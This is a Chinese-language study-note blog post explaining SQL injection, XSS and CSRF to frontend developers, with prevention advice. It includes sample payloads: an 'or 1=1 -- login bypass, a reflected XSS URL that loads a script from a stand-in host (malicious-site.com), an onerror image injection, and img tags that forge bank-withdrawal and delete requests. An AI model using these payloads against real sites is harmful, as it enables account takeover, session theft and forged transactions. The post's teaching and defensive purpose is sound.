# 前端理解資料安全 > keyword : SQL Injection、XSS、CSRF **本文作者學習筆記網站:https://dev.rraiy.cc/** 資安是一個網站非常重要的議題,前後端都要了解並盡量做足。 --- ## SQL Injection 對資料庫進行攻擊 - 使用者輸入的字串內容帶入 SQL 相關查詢語句時,若沒有過濾非法字元,使得字串成為 SQL 語句的一部分,讓攻擊者能任意操控資料庫的動作。 ### 常見的手法 :::warning 使用者登入攻擊 - 不要輕易相信使用者輸入的資料 ::: ```sql= // 一個正常的登入表單語法驗證 SELECT * FROM users WHERE email = `${email}` AND password = `${password}` // 被惡意攻擊 密碼帶入 'or 1=1 -- // 會變成下圖狀況 ``` ![](https://i.imgur.com/zusVwJV.png) 首先「’」單引號的作用是將 password 的 input 方塊內容關閉,接下來 or 1=1 因為恆正,所以都會回傳 true,最後的兩條橫槓則是將後方接著的 query 註解化,讓後面的指令不會執行,如此一來就算不知道正確密碼的狀況下,攻擊者仍然可以取得 Kyle 的個人訊息,甚至也可以因此登入成功 ,利用登入後的權限做更多惡意的行為(可想而知這隻帳號基本上就掛掉了)。這也就是常被稱為 Authorization Bypass 的 SQL Injection 攻擊。 除了上面這種取得不該被取得的資訊的攻擊以外,有的攻擊者也會利用字元漏洞直接注入可以改變資料庫資料的惡意 query,例如 DROP Table、或是 DELETE 資料等等,非常可怕 其他攻擊還有 注入 SQL 子語法 、 預存程序,之後有空再研究 ### SQL Injection 防範方式 1. 預處理 (Prepared Statement),利用預處理提供的 bind value 或者 bind param 方法將參數值綁定,該參數值不會成為查詢語句的一部分。 2. 參數化查詢( ORM 框架都會處理這塊,所以大部分也推薦直接使用框架 ) 3. RegEx - 驗證並過濾輸入值,將單引號改成雙引號 4. 特殊字符轉譯 5. 資料庫設定權限 ## XSS(Cross-site scripting) 跨站指令碼攻擊 也稱為 JavaScript Injection 運作方式: ![](https://i.imgur.com/0otpMB1.png) 有心人士利用前端表單或者文本輸入框等,帶入`<script>`標籤將惡意腳本傳送到後端,之後其他正常使用者瀏覽網站時,後端會對其執行惡意腳本的內容,瀏覽器也不會知道這是惡意的因而執行,這些內容可能是獲取用戶的密碼、session token、cookie等操作。 ### XSS 常見類型:( XSS 攻擊五花八門) ::: spoiler Stored XSS 儲存型 - 遭到被保存在伺服器資料庫中的 JavaScript 代碼引起的攻擊 把腳本存在後端資料庫中。 例如留言板網頁,若有人留言 `<script>alert(‘攻擊你!’)</script>`,每當其他用戶開啟留言板時,就會跑出這段 alert。 ::: :::spoiler Reflected XSS 反射型 - 網站反應使用者輸入的 URL(含 JavaScript 代碼)引起的攻擊 將 script 藏在 url ,發送 GET 請求時透過參數傳遞腳本 ``` // 直接弄看起來很可疑 http://localhost:8080/reflected-xss-demos/?username='><script src='http://malicious-site.com/malicious.js'></script><a href=' // 因此大部分會重新編碼 掩耳盜鈴 http://localhost:8080/reflected-xss-demos/?username=%22%3E%3Cscript+src%3d%22http://malicious-site.com/malicious.js%22%3E%3C/script%3E%3Ca+href%3d%22 ``` ![](https://i.imgur.com/QRMG96M.png) ::: ::: spoiler DOM Based XSS - 網頁javascript在執行過程中,沒有詳細檢查資料使操作DOM的過程中帶入惡意的指令 主要是透過 innerHTML 來製造機會 ![](https://i.imgur.com/OJk5rEe.png) 在 input 裡放入 `<img src=# onerror="alert(123)">` 就會執行 alert 通常 DOM XSS 會搭配前兩種來製造惡意內容,再用 DOM 運行惡意代碼 ::: ### XSS 防範方式 :::warning 重點:字串的輸出 ::: ![](https://i.imgur.com/i1OVcmi.png) * 盡可能過濾危險字元 輸入通常擋不了,但還是可多做一層防護,要記得「輸出 encoding」比較重要。 目前框架幾乎都有針對 XSS 做處理,我們所用的 React JSX 語法就會在渲染之 前把所有內容轉成字串。 * 除了 JS ,URL、HTML、CSS、XML 都可能成為被攻擊的對象,最好都做上「輸出 encoding」 - 請求表頭 Content-Type、X-Content-Type-Options,例如:json資料不該被解析為text/html - 不要用 innerHTML 帶入使用者可以輸入的值,可以用 innerText ## CSRF (Cross Site Request Forgery) 跨站請求偽造 > 網站開發者越是相信瀏覽器,就容易受到攻擊 - 利用瀏覽器的 cookie 機制來攻擊,又稱 one-click attack - cookie 的機制 → 只要發送任何請求,都會帶上該網域關聯的 cookie - 不同 domain 下偽造出「本人發起請求」的假象 #### 運作方式 在 B 網站操作時,某按鈕點擊後卻是對 A 網站操作 ```htmlmixed= // 在 momobank 執行轉帳操作後,瀏覽器已經記住你所使用的 cookie https://momobank.com/withdraw?account=you&amount=1000&for=Raiy // 瀏覽別的網站時,可能放了一張圖片,該圖片的 src 卻是惡意請求 // 一打開網站就用圖片的 src 來攻擊 momobank,帶入先前的 cookie 把你的錢轉出來,只要 cookie 還沒過期就會成功執行 <img src="https://momobank.com/withdraw?account=you&amount=1000&for=hacker" /> // 另個例子 從 B 網站刪 A 網站的文章 <img src='https://small-min.blog.com/delete?id=3' width='0' height='0' /> ``` ### CSRF 防範方式 使用者端的防禦效果不彰,總不可能每次使用完功能就登出,對用戶來說非常不友善,pattern 能驗證的也有限,最基本還是從 server 端去避免。 cross site 代表著可以在任何網址下發動攻擊,所以追根究底必須阻擋來自不同 domain 的請求,那該怎麼判斷不同的 domain ? :::spoiler 檢查 request header referer - 並不完善 referer 欄位會判斷請求從哪裡來 (!) but 某些瀏覽器沒有 referer、使用者可以自己關閉 referer 、要確保判定合法 domain 的程式邏輯沒有漏洞 ::: :::spoiler 加上圖形驗證或驗證碼機制 - 有用但使用者體驗不好 後端必須接收到正確的驗證才會執行該請求 雖然有用,但對一些重複度高的日常操作,使用者會煩死,例如刪除文章 ::: :::spoiler Double Submit Cookie - 似乎是目前的主流處理之一 **核心觀念:「攻擊者無法讀取目標網站的 cookie」** 讓 cookie 中跟 form 都存著一個 token,這兩個 token 會隨著請求發出一起送到後端,後端必須判定兩個 token 是否一樣才能繼續操作。 ```htmlmixed= Set-Cookie: csrftoken=fj1iro2jro12ijoi1 <form action="https://blog.com/delete" method="POST"> <input type="hidden" name="id" value="3"/> <input type="hidden" name="csrftoken" value="fj1iro2jro12ijoi1"/> <input type="submit" value="刪除文章"/> </form> ``` 但在每個表單都設置隱藏的 token 有點麻煩,若為 SPA ,可以統一資訊放在 request header。 Axios 套件也能設定共用表頭。 ::: :::spoiler 加上 CSRF Token - 好方法之一 ,除了 origin * 的情況外 (許多 framework 如 django 內建都有提供 CSRF Token 的機制) 由後端生成隨機的 token 送到前端,前端藉由 js 取出並在發送請求時帶上該 token ,後端會判斷 token 是否一致,且每段 session 就要換一個 token。 但若網站的請求設置 * ,或者對惡意網站開通,那麼這方法沒用 ::: ::: spoiler SameSite Cookie - 似乎是目前的主流處理之一 由瀏覽器來阻擋 CSRF ,這方法需要先理解 cookie 的同源政策 ```htmlmixed= Set-Cookie: session_id=ewfewjf23o1; // 原本的 cookie 設置 Set-Cookie: session_id=ewfewjf23o1; SameSite // 在後面加上即可 // SameSite 有三種模式,None、Lax跟Strict,默認是後者,你也可以自己指定模式: Set-Cookie: session_id=ewfewjf23o1; SameSite=Strict Set-Cookie: foo=bar; SameSite=Lax ``` **Strick 模式**:該cookie僅能在同網站被使用,任何跨域的請求都不可以加上 → `<a href="">, <form>,` new XMLHttpRequest,只要是瀏覽器驗證不是在同一個 site 底下發出的 request,全部都不會帶上這個 cookie **Lax 模式**:`<a>`, `<link rel="prerender">`, `<form method="GET"> `這些都還是會帶上 cookie。但是 POST 方法 的 form,或是只要是 POST, PUT, DELETE 這些方法,就不會帶上 cookie。但 Lax 模式之下就沒辦法擋掉 GET 形式的 CSRF,這點要特別注意一下。 **None 模式**: SameSite=None 相較於 Lax 又開放了更多第三方 Cookie 的使用情境,例如:iframe、AJAX、Image 。但是以 Chrome 瀏覽器的規定,這項設定必須配合加上 Secure,限制在 Https 下傳輸才可以生效。 ::: --- **本文作者學習筆記網站:https://dev.rraiy.cc/** --- 參考資料 [https://medium.com/@manojsingh047/understanding-frontend-security-ff6585395534](https://medium.com/@manojsingh047/understanding-frontend-security-ff6585395534) [https://medium.com/starbugs/身為-web-工程師-你一定要知道的幾個-web-資訊安全議題-29b8a4af6e13](https://medium.com/starbugs/%E8%BA%AB%E7%82%BA-web-%E5%B7%A5%E7%A8%8B%E5%B8%AB-%E4%BD%A0%E4%B8%80%E5%AE%9A%E8%A6%81%E7%9F%A5%E9%81%93%E7%9A%84%E5%B9%BE%E5%80%8B-web-%E8%B3%87%E8%A8%8A%E5%AE%89%E5%85%A8%E8%AD%B0%E9%A1%8C-29b8a4af6e13) [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) [https://blog.techbridge.cc/2017/02/25/csrf-introduction/](https://blog.techbridge.cc/2017/02/25/csrf-introduction/) [https://www.ithome.com.tw/voice/115822](https://www.ithome.com.tw/voice/115822) https://medium.com/%E7%A8%8B%E5%BC%8F%E7%8C%BF%E5%90%83%E9%A6%99%E8%95%89/%E5%86%8D%E6%8E%A2%E5%90%8C%E6%BA%90%E6%94%BF%E7%AD%96-%E8%AB%87-samesite-%E8%A8%AD%E5%AE%9A%E5%B0%8D-cookie-%E7%9A%84%E5%BD%B1%E9%9F%BF%E8%88%87%E6%B3%A8%E6%84%8F%E4%BA%8B%E9%A0%85-6195d10d4441